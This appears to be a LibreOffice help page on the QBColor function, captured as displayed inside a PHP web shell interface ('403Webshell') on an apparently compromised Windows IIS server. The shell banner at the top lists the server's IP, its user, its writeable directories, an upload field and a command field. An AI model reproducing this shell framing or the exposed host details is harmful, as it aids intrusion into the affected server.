403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.133
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/03010304.html
<!DOCTYPE html>
<html lang="en-US" dir="ltr">
<head>
<base href="../../../../">
<noscript><meta http-equiv="refresh" content="0; URL=../../../../en-US/noscript.html"></noscript>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>QBColor Function</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="en-US/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="en-US/bookmarks.js" defer></script><script type="text/javascript" src="en-US/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="en-US/text/shared/05/new_help.html"><div></div></a><a class="logo" href="en-US/text/shared/05/new_help.html"><p dir="auto">LibreOffice 24.2 Help</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Module</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contents</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Search in bookmarks for chosen module" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">

<a name="qbcolor"></a>
<a name="bm_id201546205404067"></a>
    <meta itemprop="keywords" content="QBColor function">


<h1 id="hd_id3149670" dir="auto">QBColor Function</h1>
<p id="par_id3150359" class="paragraph" dir="auto">Returns the <a target="_top" href="en-US/text/sbasic/shared/03010305.html">RGB</a> color code of the color passed as a color value through an older MS-DOS based programming system.</p>


<div class="embedded">
<a name="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Syntax:</h3>
</div>
<p id="par_id3151042" class="code" dir="auto">QBColor (ColorNumber As Integer)</p>

<div class="embedded">
<a name="functvalue"></a>
<h3 id="hd_id061420171139087480" dir="auto">Return value:</h3>
</div>
<p id="par_id3154685" class="paragraph" dir="auto">Long</p>

<div class="embedded">
<a name="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parameters:</h3>
</div>
<p id="par_id3161832" class="paragraph" dir="auto"> <span class="emph">ColorNumber</span>: Any integer expression that specifies the color value of the color passed from an older MS-DOS based programming system.</p>
<p id="par_id3147318" class="paragraph" dir="auto"> <span class="emph">ColorNumber</span> can be assigned the following values:</p>
<p id="par_id3152576" class="paragraph" dir="auto">0 : Black</p>
<p id="par_id3146975" class="paragraph" dir="auto">1 : Blue</p>
<p id="par_id3151116" class="paragraph" dir="auto">2 : Green</p>
<p id="par_id3155412" class="paragraph" dir="auto">3 : Cyan</p>
<p id="par_id3155306" class="paragraph" dir="auto">4 : Red</p>
<p id="par_id3153364" class="paragraph" dir="auto">5 : Magenta</p>
<p id="par_id3146119" class="paragraph" dir="auto">6 : Yellow</p>
<p id="par_id3154730" class="paragraph" dir="auto">7 : White</p>
<p id="par_id3153877" class="paragraph" dir="auto">8 : Gray</p>
<p id="par_id3147124" class="paragraph" dir="auto">9 : Light Blue</p>
<p id="par_id3145646" class="paragraph" dir="auto">10 : Light Green</p>
<p id="par_id3149958" class="paragraph" dir="auto">11 : Light Cyan</p>
<p id="par_id3154943" class="paragraph" dir="auto">12 : Light Red</p>
<p id="par_id3150715" class="paragraph" dir="auto">13 : Light Magenta</p>
<p id="par_id3146970" class="paragraph" dir="auto">14 : Light Yellow</p>
<p id="par_id3150750" class="paragraph" dir="auto">15 : Bright White</p>
<p id="par_id3146914" class="paragraph" dir="auto">This function is used only to convert from older MS-DOS based BASIC applications that use the above color codes. The function returns a long integer value indicating the color to be used in the LibreOffice IDE.</p>
<div class="embedded">
<a name="errorcode"></a>
<h3 id="hd_id3152869" dir="auto">Error codes:</h3>
</div>
<div class="embedded"><p class="embedded" dir="auto">5 Invalid procedure call</p></div>

<div class="embedded">
<a name="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Example:</h3>
</div>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
Sub ExampleQBColor
Dim iColor As Integer
Dim sText As String
    iColor = 7
    sText = "RGB= " &amp; Red(QBColor( iColor) ) &amp; ":" &amp; Blue(QBColor( iColor) ) &amp; ":" &amp; Green(QBColor( iColor) )
    MsgBox stext,0,"Color " &amp; iColor
End Sub
</code></pre></div>
</div>
<div id="DonationFrame"></div>
<footer><div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/03010304.xhp" target="_blank">/text/sbasic/shared/03010304.xhp</a></p>
<p dir="auto">Title is: QBColor Function</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit